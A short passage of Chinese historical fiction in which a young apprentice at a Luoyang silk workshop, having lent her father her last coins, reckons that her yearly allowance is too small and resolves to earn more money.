刚才那四十文钱，还是爹爹临上车前，低声问她相借，她把自己荷包里仅有的五十文全数给出才解决掉。 王掌计说过，她作为掌计的弟子兼学徒，一年例钱三十贯。 三十贯，就是三万文钱，听起来不少，可在这洛阳城的招子上，一碗素面十文，一斤好点的肉需要五六十文，笔墨纸砚，胭脂水粉，四季衣裳，哪样不要钱。她们虽吃住在绫绮场，省了房钱饭钱大头，可日常用度呢？人情往来呢？万一有个头疼脑热呢？ 西京洛阳，居大不易啊。 光靠这点死份例，怕是想帮衬爹爹都紧巴巴，更别提像预想中那样存钱做点小买卖了。娘亲和玥儿还在田庄，若来同住花销更大。 光靠这点份例绝对不够，得想办法挣钱。